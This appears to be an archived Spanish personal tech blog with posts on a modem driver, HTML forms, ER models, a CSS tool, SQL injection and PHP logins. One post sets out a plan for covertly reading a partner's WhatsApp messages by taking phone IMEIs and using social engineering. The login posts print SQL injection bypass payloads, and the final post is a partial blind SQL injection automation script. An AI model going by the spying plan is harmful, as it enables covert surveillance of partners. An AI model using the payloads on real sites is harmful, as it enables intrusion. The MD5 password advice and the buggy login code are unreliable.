"${TEMPWORKPATH}/7zr" x -y ${TEMPWORKPATH}/MobilePartner.bin >/dev/null 2>&1
"${TEMPWORKPATH}/7zr" x -y ${TEMPWORKPATH}/data.bin >/dev/null 2>&1
sed -i 's/\.ioctl/\.unlocked_ioctl/g' /usr/local/Movistar_3.5G/driver/ndis_driver/ndis_src/src/hw_cdc_driver.c
# chmod -R a+w "${INSTALLPATH}"/userdata
# chmod -R a+w "${INSTALLPATH}"/log
chmod -R a+w "${INSTALLPATH}"/config

Después de esto compilé y sin problemas, a continuación pongo el link al driver modificado y los pasos para instarlo.

2. Driver.

Descargamos el archivo que subí a dropbox y lo descomprimimos

tar xvfz Linux.tar.gz

entramos al directorio donde se descomprimieron los archivos y ejecutamos como root:

./install

Dejamos todo por default dando enter.

Perfecto, ahora si desconectamos el modem y lo volvemos a poner podremos ver que ya aparece en networkmanager es decir ya está reconocido como modem :D que felicidad y alegría, pero no cantemos victoria tan rápido, por que si intentamos conectar veremos que no lo hace :(

Aquí es donde me di cuenta gracias a dmesg que crea 3 dispositivos (ttyUSB0 ttyUSB1 y ttyUSB2) lo cual me pareció muy extraño así que quise probar con todos pero network manager no me dio la opción de seleccionar cual quería, a instalar wvdial y a probar uno por uno, aleluya!!! /dev/ttyUSB2 si funciona, así que probé eliminando /dev/ttyUSB0 y creandolo como link simbólico a /dev/ttyUSB2.

Excelente!!! network manager conecta, pero no iba a estar creando el link simbólico cada que conectara el modem así que cree una última regla de udev.

3. La última y nos vamos.

Creamos el archivo /etc/udev/rules.d/50-myrules.rules (empieza con 50 por que udev lee los archivos de regla en orden alfabético y yo quería que esta regla fuera la última en ejecutarse, tu puedes ponerle el nombre que quieras a tu archivo) y agremamos el siguiente contenido:

KERNEL=="ttyUSB2", RUN+="/bin/ln -sf /dev/ttyUSB2 /dev/ttyUSB0"

Listo, esto crea el link simbólico al detectar que se crea ttyUSB2, volvemos a reiniciar udev (si es necesario).

Ahora cada vez que conectemos el modem estará listo para usarse :D.

Esta es mi aportación, si tienen algún comentario o mejora al proceso estaré muy agradecido de que lo compartan.

May the source be with you.

[Fin Copia]

El Megaupload Español

2012-12-05T00:29:00.001+01:00

El megaupload español, así es como han descrito a www.supernote.org Es gracioso pero realmente esta web ofrecerá mucho mas que megaupload, mayor control sobre la información y suculentas recompensas por usarla y conseguir descargas en ella. Las características que hacen de este proyecto un proyecto muy ambicioso son las siguientes:

Total Anonimato a la hora de subir y bajar ficheros.
HTTPS para evitar que nada ni nadie sepa que subes o bajas.
Recompensas en forma de dinero o suscripciones premium gratis a dicha web.
Link's metamorficos, haciendo totalmente inrastreable el contenido subido, mediante un sistema de redifusión (parecido a los retweets de twitter)
La información se almacena encriptada, por un algoritmo propio, por lo que la web no se responsabiliza de la informacion que sea subida (música, pdf's, libros, películas...)
Información no indexable bajo demanda. El usuario podrá elegir si quiere que ese contenido sea visible a los buscadores o no.
Visitas limitadas o no a la información, muy útil si quieres mandar un fichero al puro estilo Misión Imposible (este mensaje se autodestruira en 5 minutos). Solo que configurando las visitas que se quiere que tenga dicho archivo.
Registro simple, solo solicita email y password, no dejando mas datos innecesarios en la plataforma.

Esta web se presenta de manera muy ambiciosa en la red a nivel mundial, pero... ¿Será capaz de llevarlo a cabo? Yo pienso que si. Por si acaso yo ya me he apuntado a su newsletter para estar atento a las actualizaciones que vayan publicando.

Los inversores ya se están peleando por un pedazo de esta empresa en http://www.inverem.es/busco-inversores/12/471/supernote/#.UL6GvX9wEb0

Supernote, Compartiendo la Información de manera Segura.

2012-12-03T14:17:00.000+01:00

Buenos días gente, hoy vengo a hablaros de manera breve de una Web ( www.supernote.org ) que en pocos días saldrá a la luz, y viene a revolucionar la manera de compartir la información.

Básicamente consta de lo siguiente:

Confidencialidad, nadie salvo la persona que ha subido conoce el contenido de lo que subió (tanto ficheros como una nota escrita)
Configuración de las visualizaciones de dicho contenido, esto nace para evitar que un archivo quede de manera perpetua en la web, hay veces que simplemente queremos mandarle un archivo a alguien pero no queremos que quede constancia de ello una vez dicha persona lo reciba. Fotos comprometedoras, una canción de tu nueva maqueta, un video...
Configuración de la visibilidad de dicha información pudiendo hacerla Indexable a los buscadores, o no Indexable para dejarla en las sombras.
Configuración de la privacidad, se puede especificar si el contenido será publico o privado, la diferencia será que para acceder a un contenido privado, hará falta una password, la cual desencriptara el contenido de la base de datos y hará dicha información legible de nuevo.
Total anonimicidad, no es necesario registrarse en la pagina para descargar nada o subir nada, la creación de un usuario permitirá el tener reunida la información sobre los archivos que subes, y el sistema de premium recompensará las descargas llegado a un mínimo.
Acceso via https para evitar Man In The Middle.

Por contra el unico inconveniente (que no es tal...) es que el tamaño maximo de archivos será de 10 Mb... La pregunta es, por qué tan poco? Pues está claro, $$€€ Dinero!, Megaupload contaba con 25 Petabytes en discos duros, haciendo un calculo aproximado de lo que cuesta eso son aproximadamente 70 millones de €.

Como conseguir eso, es prácticamente es imposible, el producto empezará con 10 Mb o 20 Quizá lo que es mas que suficiente para compartir información personal y de empresa, y si es aceptado y se consigue financiación ese espacio irá creciendo.

Se está recaudando dinero para la creación del proyecto. La web y todo el sistema funcional está al 70% y estará funcionando en un servidor "alquilado" a Hostgator en el cual estará hasta recaudar dinero suficiente para montar la infraestructura necesaria para hacerlo real.

Os dejo la web en la que estamos buscando financiacion, gracias: http://www.inverem.es/busco-inversores/12/471/supernote/

Un saludo, y volveremos por aquí.

Formularios HTML explicación sencilla! (parte 1 de 2)

2012-11-02T14:35:00.000+01:00

Para continuar con las explicaciones de las cosillas que nos van "enseñando" en la FP y los trabajillos que nos van mandando, hoy voy a explicar como funciona un formulario como se crea y que elementos tiene.

Para empezar comentaré que el formulario son etiquetas html al igual que todo el código html (redundante eh!), y su emplazamiento siempre sera dentro de las dos etiquetas de <body></body>, pudiendo permanecer dentro de otras etiquetas contenedoras o no.

Dicho esto vamos a ver la etiqueta que define un formulario se trata de <form></form>. Evidentemente si no la pasamos mas atributos pues esta etiqueta no hace mucho... El formulario que se crea es algo invisible, y lo único que viene a decir es que las etiquetas que vayan entre medias serán las utilizadas en dicho formulario.

Al formulario form hay que pasarle como mínimo 2 atributos, que son "action" y "method", y un tercero opcional "name". Expongo la sintaxis y ahora explico para que sirve cada uno, que opino que es mas fácil:

<form action="Pagina_Que_Recibe_La_Informacion_Mandada.html" method="post" name="primer-formulario">

</form>

Name: El atributo name es para darle un nombre al formulario (sencillo no?)
Action: En este atributo le especificamos la pagina web a la que le pasaremos el contenido del formulario para que trate los datos. Hay que especificar bien la ruta, en este caso si estuviera en otra carpeta o un servidor aparte habría que ponerlo, pero como la web a la que va a llegar nuestro formulario esta en la misma carpeta con poner el nombre basta.
Method: Aquí se pueden pasar dos valores o "post" o "get", por defecto cualquier formulario se recomienda ponerlo en post. ¿Cual es la diferencia? os preguntareis, pues bien la diferencia es simple, si pones get, el contenido del formulario se le pasara por la dirección de la web, es decir si tenemos un formulario con nombre y apellidos, la web a la que seriamos redirigidos al pulsar el botón enviar, seria: "Pagina_Que_Recibe_La_Informacion_Mandada.html?nombre=pepe&apellidos=gonzalez". A que esto os suena mas, de cuando vais navegando por internet y veis estos parámetros en la barra del navegador, pues bien esos parámetros son variables GET y se envían concatenadas a la dirección de la pagina web y separadas siempre por un &. Por el contrario con POST, todo queda transparente para el usuario, y solo se añade en la peticion HTML exactamente de la misma forma pero sin que aparezca en el navegador. No creo que a nadie le gustara ver en el navegador "http://www.gmail.com/?user=paco&password=porras" (los Login de las paginas no dejan de ser formularios)

Bueno creo que me explayé un poco en la explicación, pero mejor dejarlo claro desde el principio, y si aun así os queda alguna duda, podéis comentar y os la resuelvo encantado.

Hasta aquí la primera parte, esta tarde viene la segunda, que son los elementos que pueden ir dentro de la etiqueta <form> (es que sino queda un post un poco largo).

Lo dicho, si necesitáis algún tipo de ayuda, por aquí ando.

Es hora de BBDD modelo Entidad-Relación (ER)

2012-10-25T11:23:00.004+02:00

Buenas gente, para seguir un poquito con mi rutina de historietas que os cuento por aquí hoy quiero hablar un poco del modelo Entidad-Relación, ya que para aprender a defender un Sistema primero habrá que aprender a diseñarlo o crearlo bien y como una de las cosas que mas me gustan son las Bases de Datos, vamos a aprender un poquito.

Espero no explayarme demasiado:

El modelo de Entidad-Relación (ER a partir de ahora) se caracteriza como su propio nombre indica (no podría ser mas descriptivo) en que por cada Entidad existe una Relación con otra Entidad, y todos las Entidades deben estar relacionadas con 1 o mas de ellos.

Las Entidades u Objetos o "cosas" como queráis llamarlas representan "cosas" del mundo real, que se diferencian unas de otras. Por ejemplo un perro, un gato, un coche, etc... Al igual que todos sabemos distinguir un coche, de un perro (jejeje parece obvio), también sabemos distinguir un coche de otro coche, ¿Y como hacemos eso?, por sus atributos es decir su color, forma, marca, modelo, y en caso de que todo lo anterior coincida por su matricula. Por lo tanto se establece una relación 1 a 1 coche - matricula, solo hay un coche con sus atributos por cada matricula, y viceversa.

Existen más tipos de relaciones como por ejemplo la que existe entre una casa y sus habitantes, ahí la relación seria de 1 a n puesto que existe una casa en la cual vive una o mas personas (ojo también puede no vivir nadie, pero mejor no liarnos)

Creo que queda bastante claro el concepto de Entidades, Relaciones y Atributos. Por supuesto de este tema se puede estar hablando largo y tendido pero tampoco es el objeto de mi post, simplemente dar una pequeña noción, de que es cada cosa e intentar explicarla. Para meteros mas en profundo con el tema no hay mas que introducir "modelo entidad-relación" en google.

Las Entidades se dibujan con un rectángulo.
Los Atributos se dibujan con un ovalo.
Las relaciones se dibujan con un rombo y una linea de entidad a rombo y de rombo a entidad.

Bien llegados a este punto y como me gusta que todo quede "practico" os voy a poner aquí un ejercicio que me han planteado en la FP que estoy haciendo (DAM), bastante sencillito, con la solución que yo he propuesto, por supuesto se admiten sugerencias ;)

Diseñe un modelo E/R para un sistema sobre municipios, viviendas y personas. Cada persona solo puede habitar en una vivienda, y estar empadronada en un municipio, pero puedes ser propietario de varias viviendas. Nos interesa también conocer las personas que dependen del cabeza de familia (CF). En una vivienda pueden habitar varias personas, una vivienda puede ser propiedad de muchas personas. Una persona solo puede tener un cabeza de familia y este puede serlo de varias personas. un municipio puede tener varias viviendas, y una vivienda pertenece solo a un municipio, un municipio puede tener varias personas empadronadas.

Planteamiento:

Entidades:

Persona
Vivienda
Municipio

Relaciones:

1 Persona (Cabeza de Familia) tiene Varias Personas
1 Persona Vive en 1 Vivienda
1 Persona propietaria n Viviendas
1 Persona Empadronada en 1 Municipio
1 Vivienda viven n Personas
1 Vivienda propietaria n Personas
1 Vivienda pertenece a 1 Municipio
1 Municipio pertenecen n Casas
1 Municipio empadronados n Personas

En este caso no nos hablan de atributos de nada así que nos olvidamos.
El modelo de Entidad-Relación que he diseñado quedaría de la siguiente manera, aunque eso no significa que otros modelos estén mal, esta es la solución que yo propongo:

Y hasta aquí el post de hoy.

PD: Que conste que este es el primer modelo que hago, yo siempre establezco las relaciones en mi cabeza y lo creo directamente en mi MySQL o Oracle, pero habrá que aprender a hacer esto también :)

DesignHTMLCSS V2.0

2012-10-15T13:41:00.000+02:00

Como no, ya estoy por aquí dando la lata de nuevo.

Nada simplemente es para comentaros que ya he sacado la versión 2.0 del pequeño "programilla" por llamarlo de alguna manera para ayudar y facilitar a la hora de desarrollar una web, realizar los típicos ajustes y tal.

Le he añadido una pestaña para los bordes, pudiendo editar, su ancho, color y estilo.

También he agregado una pestaña para el Padding, para poder ajustar a su gusto el top, bottom, left y right y ver como va quedando en tiempo real.

Dejo por aquí el enlace a sourceforge, he facilitado la descarga del proyecto, poniéndolo en .rar (así no hay que bajar varios ficheros que llevan a error)

https://sourceforge.net/projects/designhtmlcss/files/

Un saludo, si surge alguna duda de como usarlo no dudéis en preguntar o si se os ocurre que mas se podría añadir.

Un saludo! No vemos dentro de poco

¿Cansado de perder tiempo con el diseño web? Solucionado!

2012-10-11T11:37:00.002+02:00

Hola buenos días!!

Hacia tiempo que no escribía por aquí para contaros mis típicas frikadas, no me gusta escribir por escribir, e intento que las cosas que escribo al menos sean interesantes o divertidas.

Tras este breve inciso que no viene a cuento, paso a la chicha!

Encontrabame yo "diseñando" uno de mis típicos proyectos web que al final ni termino, ni publico, y me surgían varios problemas a la hora de hacer el "diseño". Digo "diseño" por que el diseño no es lo mio, y soy reacio a usar "soluciones" (hoy me ha dado por las comillas eh!) del estilo de Dreamweaver. Aun así me di cuenta de que se pierde muuucho tiempo a la hora de realizar el CSS y que te quede al menos como poco donde tu quieres, y como tu quieres (lo de bonito o no ya es otra cosa XD). Por lo que me dispuse a buscar un programa para precisamente hacer esto de diseño algo mas ameno, no del estilo de Dreamweaver, que no me gusta nada que me metan código basura que no se para que sirve en mis códigos html.

Dispuseme a ello, y por mas que buscaba por la red (es posible que sea bastante pésimo buscando y no diera con lo que yo quería) no terminaba de encontrar algo que hiciera realmente lo que yo quería, lo que yo quería es lo siguiente:

Poder mover el DIV en cuestión a mi gusto, y obtener como poco la referencia relativa del top y left de el movimiento aplicado.
Poder redimensionar el DIV puesto que a veces (sobre todo al principio) cuando estamos estructurando la web, decimos o al menos yo digo, este div unos 150px, pero luego te das cuenta cuando guardas y refrescas de que se queda corto, y tienes que cambiarlo, guardar y refrescar. Vamos un coñazo!
Poder cambiar el color de fondo, o del borde de un DIV, sin tener que ir probando, edito-guardo-refresco, edito-guardo-refresco, edito-edito-guardo, al puro estilo Simpson.
Jugar con el Z-Index y ver cual tengo que poner para que este div quede exactamente como yo quiero, ya que a veces tenemos varios elementos y no nos acordamos exactamente de que valor le dimos a cada uno, y la verdad es un coñazo buscarlo e ir probando.
Y que toda esta información simplemente me la mostrara en pantalla, no que me la guarde en ningún lado, con el consiguiente "exceso" de código, o código que no conocemos.
Y todo esto de manera dinámica en el navegador.

Rapidamente, me acorde de JQuery, sabia que todas estas cosas ya estaban echas, al menos para añadir "efectos" a una web. Y me dije joder, y por que no lo aplico?

El resultado es el siguiente:

https://sourceforge.net/projects/designhtmlcss/files/

En el fichero readme.html tenéis como se instala.

Aquí os dejo unas screenshots de el fichero de prueba "prueba.html" para que veáis como funciona

Espiando el Whatsapp de tu novia/o.

2012-09-17T23:40:00.001+02:00

Buenas gente!!

Vuelvo por aquí para exponer una idea que me ha surgido al leer el post de Security By Default del día de hoy, el post es el siguiente:

http://www.securitybydefault.com/2012/09/whatsapp-spam-inundacion-y-robo-de.html#disqus_thread

Tal y como dicen, es posible leer los whatsapp de alguien, la "pega" es que ese alguien nunca recibirá los whatsapp enviados por esa segunda persona.

Ahora bien, y solo lo expongo como idea, aunque aun no he desarrollado un mod del código que ellos proponen (aun estoy probandolo), por el cual teniendo acceso al movil de tu novia/o y de la persona de la cual quieras leer los mensajes sin que nadie se entere que lo has hecho.

Ejemplo:

Tu novia/o se va al baño coges el movil e introduces *#06# y ya tienes su IMEI. (como ya tienes su numero de teléfono no te hace falta nada mas)

Ahora supongamos que sospechas de un "amigo" suyo o tuyo, y que bien por ingeniería social o por otros métodos consigues que te deje su móvil para "jugar" un ratito. Introduces el mismo código y ya tienes el IMEI.

Ahora mismo, serias capaz de leer todos los mensajes que le llegan a tu novia/o, pero, al leerlos tu, a ella/el no le llegaría, por lo tanto habría que hacer un "re-send" del mensaje usando la IMEI del tipo sospechoso hacia tu novia/o desactivando primero la opción de leer sus mensajes.

De esta manera habrías leído lo que se están diciendo el uno al otro y nadie sabría que lo has hecho puesto que los mensajes habrían llegado a sus legítimos receptores.

Espero que actualicen el Whatsapp pronto masivamente, o probablemente este servicio del cual creo que somos mas de 1 y mas de 2 "adictos" terminara por no ser absolutamente nada seguro usarlo.

Como corregir o evitar los SQLi

2012-08-17T11:35:00.003+02:00

¡¡Buenas gente!!

Hacia mucho tiempo que no escribía, tampoco había mucho que decir la verdad, pero bueno hoy he sacado un ratillo en el curro y me he propuesto escribir esta pequeña "guía" sobre como solucionar los SQL-Inyection (a partir de ahora SQLi), algo que debería estar ya erradicado de las paginas web, y que sin embargo muchísimas paginas importantes o no lo padecen.

Existen varias formas de hacerlo, la gente suele filtrar las variables que pasamos a nuestras consultas SQL. Pero o bien por desconocimiento de como se realizan estas SQLi o por falta de soltura en el lenguaje en el que se esta programando, es fácil dejar hilos sueltos que pueden ser usados fácilmente como vectores de ataque para "usuarios malintencionados".

Como podemos resolver este problema de manera "sencilla", pues simplemente usando procedimientos almacenados de la BBDD. Hoy en día los principales motores de bases de datos todos admiten la creación de estos procedimientos, y aparte de agregar Seguridad a nuestras aplicaciones suelen ser una buena solución para aumentar la velocidad de nuestras consultas (Esto no significa que sean la panacea si te van muy muy lentas deberás construir nuevos indices por ejemplo entre otras muchas cosas) porque las consultas ya están PreProcesadas y no hay que perder tiempo en el parseo de estas principalmente.

Vamos al lio, vamos a crear un procedimiento almacenado para mysql el cual nos devuelva la noticia "id" tal de una tabla llamada noticias (comúnmente usado en muchísimas paginas y yo creo que es donde se encuentran la mayoría de las SQLi):

CREATE PROCEDURE `seleccionar_noticias`(IN idBuscar int)
SELECT Titulo, Cuerpo, Imagen FROM noticias WHERE idNoticia=idBuscar

Y para obtener el resultado de este procedimiento almacenado, se le llama haciendo lo siguiente para obtener el resultado de las noticias con id 1:

CALL seleccionar_noticias(1);

Si por ejemplo quisiéramos hacer una consulta para el login podríamos hacer esto:

CREATE PROCEDURE `pagina_login` ( IN var_usuario VARCHAR(100), IN var_password VARCHAR(100) )
SELECT id_usuario FROM usuarios WHERE user=var_usuario and password=var_password limit 0,1

Y para obtener el resultado de este procedimiento seria:

CALL pagina_login('paco',md5('porras'));

Recomiendo (por que no os puedo obligar jejeje) que guardéis siempre las password encriptadas en MD5 en la base de datos sumada con un "Salt" que es una cadena que siempre se suma a la password. Por ejemplo en este caso pones $variable = 'porras'; $variable = $variable.'s3ik0tr0n'; y pasas la variable $variable a la función md5, quedaría así:

CALL pagina_login('paco',md5('porrasS3ik0tr0n'));

Donde porras seria la password y porrasS3ik0tr0n el resultado de la variable que le hemos pasado.

Volviendo al hilo anterior, en la creación del procedimiento almacenado le hemos dado un valor máximo a las variables (Exactamente aquí: "... VARCHAR(100) ...") Cualquiera con pocos conocimientos de mysql entiende que la cadena podrá ocupar como mucho 100 caracteres.

Yo creo que con lo poco que he expuesto "cualquiera" con conocimientos mínimos es capaz de solucionar el problema de las inyecciones SQL en sus paginas WEB ya sea en el lenguaje de programación que sea. De esta forma podemos "olvidarnos" del filtrado de variables, puesto que la Base de Datos lo hace por nosotros, pero nunca esta de mas hacerlo, quien sabe los posibles bugs que pudiera tener.

Hombre precavido vale por dos!

Un saludo, y espero seguir contribuyendo a hacer de Internet un lugar mas Seguro.

PD: He usado un juego de colores para que se vea claramente que es cada cosa, si hace falta una Leyenda decírmelo y la agrego con gusto.

Como hacer y como NO hacer un Login en PHP (Parte II)

2012-02-02T09:18:00.000+01:00

Sigamos con el tema...

Ese tipo de login esta muy bien, siempre te arriesgas a no tener bien bien filtrada la entrada de datos y que te salten el Login.

Un login bastante bastante seguro, aun sin filtrar los datos seria el siguiente.

SELECT idUsuario FROM Usuarios WHERE nombre='$Nombre' and password='$Password' LIMIT 0,1

-> Comprobamos que solo devuelva una sola fila de resultado.
-> Recojemos el valor obtenido de idUsuario lo llamaremos $row[0];

Y hacemos la siguiente instruccion:

SELECT nombre FROM Usuarios WHERE idUsuario='$row[0]' and password='$Password' LIMIT 0,1

-> Comprobamos que solo devuelva una sola fila
-> Recojemos el valor obtenido de esta query como $row2[0]; y lo comparamos que sea igual a $Nombre;

Me gustaria aclarar que las variables aunque sean numericas, siempre suelo meterlas entre comillas, tiene un poco mas de trabajo para la BD pero es mas facil filtrar las comillas que no el parametro q vayas a poner.

Para intentar saltarse este Login habria que hacer lo siguiente:

$Nombre = "' UNION SELECT 'LoQueQuieras' FROM Usuarios WHERE 1=1 or 'a'='a";

Con eso conseguiriamos que en la primera sentencia nos devolviera lo que quisieramos en el campo idUsuario y podriamos devolver lo que quisieramos en la primera consulta para hacer una inyeccion en la 2ª. El problema viene a la hora de igualar lo devuelto por la 2ª consulta con lo introducido en la variable $Nombre. Es imposible hacer esto, puesto que dentro de la primera consulta tendrias que devolver la misma consulta y seria una iteracion infinita... no puedes hacer que lo que devuelva sea igual a lo que mandas.

Otra buena forma de hacer un login seguro, y que no se por que no se le ha ocurrido a nadie hasta ahora es la siguiente:

-> Agregamos a la tabla Usuarios una columna que se llame NombreEnc
-> Guardamos en esa columna el MD5 de los nombre de usuario.
-> Encriptamos en MD5 tanto el nombre como la password en los datos de input. (OJO siempre desde PHP nunca desde MySQL xq se podria saltar.

$NombreEnc = md5($_POST['nombre']);
$Nombre = $_POST['nombre'];
$Password = md5($_POST['password']);

Y simplemente realizamos esta consulta:

SELECT idUsuario,nombre FROM Usuarios WHERE NombreEnc='$NombreEnc' and password='$Password' LIMIT 0,1

La respuesta de la BD la almacenamos en $row[0] (que corresponderia con idUsuario) y $row[1] (que corresponderia con nombre).

Y haciendo una sencilla comprobacion de que nos devuelva solo 1 fila, y que $row[1] es igual a $Nombre tendriamos autenticado al usuario.

Por lo tanto la funcion seria:

function Login($nombre,$password){

$nom = $nombre;
$nomEnc = md5($nom);
$pass = md5($password);

$sql = "SELECT idUsuario,nombre FROM Usuarios WHERE NombreEnc='".$nomEnc."' and password='".$pass."' LIMIT 0,1";

$result = mysql_query($sql);

if($row = mysql_fetch_row($result) && mysql_num_rows($result) == 1)
{
           if($row[1] == $nom)
          {
                    return $row[0];
          }
          else
          {
                   return False;
          }
}
else
{
          return False;
}

}

Y haciendo:
$log = Login("pepe","4321");

if($log != False){
      //Acciones para hacer una vez logueado.
}

Y ya tendriamos un login "securizado" sin haber aplicado ningun tipo de filtro.

Espero que os haya gustado y si teneis alguna duda o aporte no dudeis en comentar.

Como hacer y como NO hacer un Login en PHP (Parte I)

2012-02-01T14:31:00.000+01:00

Buenas gente, hace tiempo que no escribo, pero como tampoco es que me lea mucha gente, pues tampoco pasa nada jajajaja. Esto es mas un "Enseñame a pescar" mas que "Dame peces", ya me entendeis!

Quiero decir que aquí para gustos los colores, puedes hacerlo como quieras y también puede estar bien, yo aquí solo pongo ejemplos.

Voy a describir la tabla mas o menos normal de un login.

Tabla Usuarios:
****************************************************************************
| idUsuario | Nombre | Password | Email | Nivel |
****************************************************************************
| 1 | Admin | 81dc9bdb52d04dc20036dbd8313ed055 (1234) | admin@sitio.com | 1 |
------------------------------------------------------------------------------------------------------
| 2 | Pepe | d93591bdf7860e1e4ee2fca799911215 (4321) | pepe@pepe.com | 0 |
------------------------------------------------------------------------------------------------------

Por lo tanto tenemos la Tabla Usuarios { idUsuario, Nombre, Password, Email, Nivel }esta seria la estructura normal de una tabla de usuarios de una pagina web.

La sentencia SQL normalmente utilizada para hacer el login seria la siguiente:

SELECT idUsuario FROM Usuarios WHERE Nombre='$Nombre' and Password='$Password' LIMIT 0,1
Ejemplo:
SELECT idUsuario FROM Usuarios WHERE Nombre='Pepe' and Password='d93591bdf7860e1e4ee2fca799911215' LIMIT 0,1

Recomiendo pasar ya encriptada la password a la BD asi evitamos un poco de SQLi de forma tal $Password = md5($_POST['password']); por ejemplo, aunque siempre es recomendable meterle un SALT a la password (es decir una cadena concatenada) para en caso de intrusión ponerlo un poquito mas dificil sacar la password. Ejemplo $Password = md5($_POST['password']."NombreDeMiWeb");

De esta forma nos devolvería un idUsuario valido en caso de encontrar un usuario con ese nombre y esa password. PROBLEMA, si no están bien filtrados los parámetros $_POST, $_COOKIE e incluso $_SESSION por los que haces la inserción de texto en el sitio correspondiente del a consulta se podría "escapar" y hacer login con el primer usuario de la BD que en este caso como vemos es el Admin (no tiene por que serlo). Quedando la consulta de esta forma (Pongo en Rojo lo que introducimos por Variable)

SELECT idUsuario FROM Usuarios WHERE Nombre='' OR 'a'='a' OR 'a'='a' and Password='6cd484bc2bd0dc3216e156ba85c693ac' LIMIT 0,1

De esta forma hemos pasado la restriccion y nos devolvera el idUsuario del primer usuario de la BD por que le estamos diciendo a la BD devuélveme el idUsuario de Usuarios cuando el Nombre sea igual a nada O "a" sea igual a "a" o "a" sea igual a "a" y Password sea igual a tal. Como se cumple la 2ª condición de que "a" es igual a "a", la BD nos devuelve el primer idUsuario.

También podríamos haber insertado en la variable $Nombre un simple ' OR 'a'='a'%23 y habríamos omitido todo el final de la sentencia sql (%23 = #), pero esto nos habría devuelto TODOS los id, y si la aplicación busca que solo devuelva un id (una buena comprobación también) pues no saltaríamos ese login.

En fin que me desvío un poco del tema. pero así dejo la base un poco sentada.

Esto que he explicado suele ser un Login normal y corriente, que estando bien filtrado no tendría que tener mayor problema.

Continuare... Lo voy publicando xq se esta haciendo mu largo esto.

Por que no dejarle a alguien tu PC encendido.

2011-12-14T17:41:00.000+01:00

Pues buenas, hablando con un compañero, me ha propuesto hablar de este tema, un poco para concienciar a la gente de los peligros que ello conlleva. La gente se piensa que esto es algo super difícil de hacer, pero realmente con un par de comandos y sin ser un genio de la informática se puede conseguir cosas o información bastante critica...

Vamos a ponernos un poco en situación, para esta Proof of Concept he utilizado una maquina virtual (VMWare) con Windows XP Service Pack 3 512 MB de memoria RAM (para que el dump de memoria no tarde mucho). Un programa que se llama Memory_dd en su versión 1.3 que se puede descargar de internet y es software libre.

Y mi Ubuntu Linux version 11.04 sin ningun programa extraño mas.

Vamos a ir por pasos, primero entramos en el correo electrónico:

Vemos y abrimos el email que nos ha llegado:

Respondemos al email:

Desconectamos la cuenta:

Ahora ejecutamos el programita memory_dd en la consola de windows junto con la opcion -o para guardar el resultado con el nombre memory.dmp (por poner algo . algo):

Aquí se debería guardar el código MD5 si estuviéramos en una investigación Forense oficial, para luego compararlo con el archivo final y poder demostrar que nada ha cambiado. Bueno y se copia el archivo resultante a mi maquina con Ubuntu.

Una vez aquí, procedemos a usar el comando strings seguido del nombre del archivo > nombre del archivo final, quedaría así "strings memory.dmp > memory.txt" para conseguir extraer todos los caracteres ASCII de ese archivo y guardarlos linea a linea en un archivo llamado memory.txt (mucho mas fácil para examinarlo que mirar el código Hexadecimal):

Y finalmente buscando la cadena \\u003e (que es la forma en la que empiezan los correos en gmail) dentro de ese documento de texto, encontramos lo siguiente

Hemos conseguido leer un email recibido y otro enviado sin necesitar la password de la cuenta. Esto solo es una pequeña muestra de lo que se puede conseguir con acceso fisico a un PC.

Por esta razón y por algunas otras mas que iré comentando, deberíais pensarlo dos veces antes de dejar a un desconocido vuestro pc encendido, o... de dejar encendido el pc de un CiberCafe después de haber iniciado sesión en vuestras cuentas de correo, msn, facebook, etc...

Un abrazo, seguiremos informando!

Seguridad Informática mal enfocada. Ing. Social Parte 1.

2011-12-13T23:56:00.000+01:00

Buenas, llevo bastante tiempo sin escribir y eso es porque no he sabido encontrar el tema del que hablar (estoy abierto a sugerencias) pero hay algo que me resulta curioso, la forma en la que la gente "piensa" que toma medidas de seguridad informatica.

Si tu preguntas a cualquier usuario normal y corriente por como intenta proteger su ordenador siempre te dirá lo mismo (he preguntado a dos personas y las dos han respondido la mismo xD) pues tengo tal antivirus o tal otro antivirus o tal y tal firewall...

Muy bien todo esto esta bastante bien, pero la principal forma de Defender tu equipo eres tu. Y es algo que la gente no comprende bien, de hecho el eslabón mas débil de la seguridad informática es el usuario final.

De que te sirve tener 200 programas para proteger tu equipo si a la primera chica que aparece en un chat, le das tu contraseña tras insistir un poco (esto es un poco exagerado pero ya sabes a que me refiero). O de que te sirve tener un super Antivirus si abres una aplicación salta una ventana de advertencia y sin ni siquiera leerla le das a ejecutar? O de que te sirve el firewall si bloquea las conexiones, y el tercer dia que lo tienes puesto, estas cansado de aceptar peticiones de conexión y aceptas todas por defecto en X puerto?

Al final todo se reduce a lo que tu hagas, así que ten cuidado por que puedes tener el mejor Antivirus del mercado unido al mejor Firewall y con el Sistema Operativo totalmente parcheado pero si tu ejecutas un programa y el antivirus te avisa y pasas de el, el firewall te avisa y pasas de el, de que te sirven? y ya no digo nada de los programas (exploits en nuestro argot) que explotan vulnerabilidades nuevas y permiten ejecutar código sin que el usuario final vea nada, de eso nadie esta protegido NUNCA, y al fin y al cabo todo se trata de cuestión de probabilidad igual de que te roben en la calle.

La seguridad informática es un tema en el que por mucho que sepas siempre iras un paso por detrás de alguien, así que cuidado con los links que seguimos en internet, o los programas que ejecutamos (el tipico crack para ejecutar un programa que te has bajado de internet) NADIE da duros a pesetas y todos esos programitas llevan premio.

Este es el primer post en plan concienciacion de una serie de post sobre Ingeniería Social y sobre todo como evitarla, con casos prácticos en Maquinas Virtuales (Un ordenador dentro de un ordenador para el que no lo entienda)

Auto Blind SQL Injection

2011-08-11T18:03:00.000+02:00

Buenas amigos, voy a publicar (creo que por primera vez) mi programa para "automatizar" las injecciones blind sql.
He tratado de hacerlo lo mas "fácil" posible para ser usado sin complicacion.

Meda igual que lo molifiquéis el programa pero si lo hacéis por favor comentarme vuestros cambios y el por que, así aprendemos todos ;)

#!/usr/bin/python

import os,urllib2,re,time,sys

# Contamos las lineas de la pagina, varias veces para comprobar que sea estable
# Count the lines from the webpage, a couple of times to check if it's stable

def comprobar(url):
tam = 0
for x in range(11):
pagina = urllib2.urlopen(url+"%20and%201%20like%200").read()
pct = (100*x)/11
os.system("clear")
print str(pct)+"% Completed"

if(x == 0):
tam = len(pagina)
if(len(pagina) != tam):
print "The Webpage isn't Stable"
return False
break

return tam

# Automatizamos el proceso para sacar la query

def automata(url,tam):
print "Wich select do you want to extract?"
print "Just remember only 1 row and colum per SELECT"
print "Example: SELECT user FROM users limit 0,1"
entrada = raw_input("So lets see your SELECT >> ")
max_letras = raw_input("How many letters do you think it has? >> ")
max_letras = int(max_letras)
payload = "%20and%20ascii(substr("+entrada+",FIZZ,1))>=FUZZ%20and%20ascii(substr("+entrada+",FIZZ,1))<FAZZ"

letra = []
resultado = ""
for y in range(max_letras):
letra.append(0)

for x in range(max_letras):
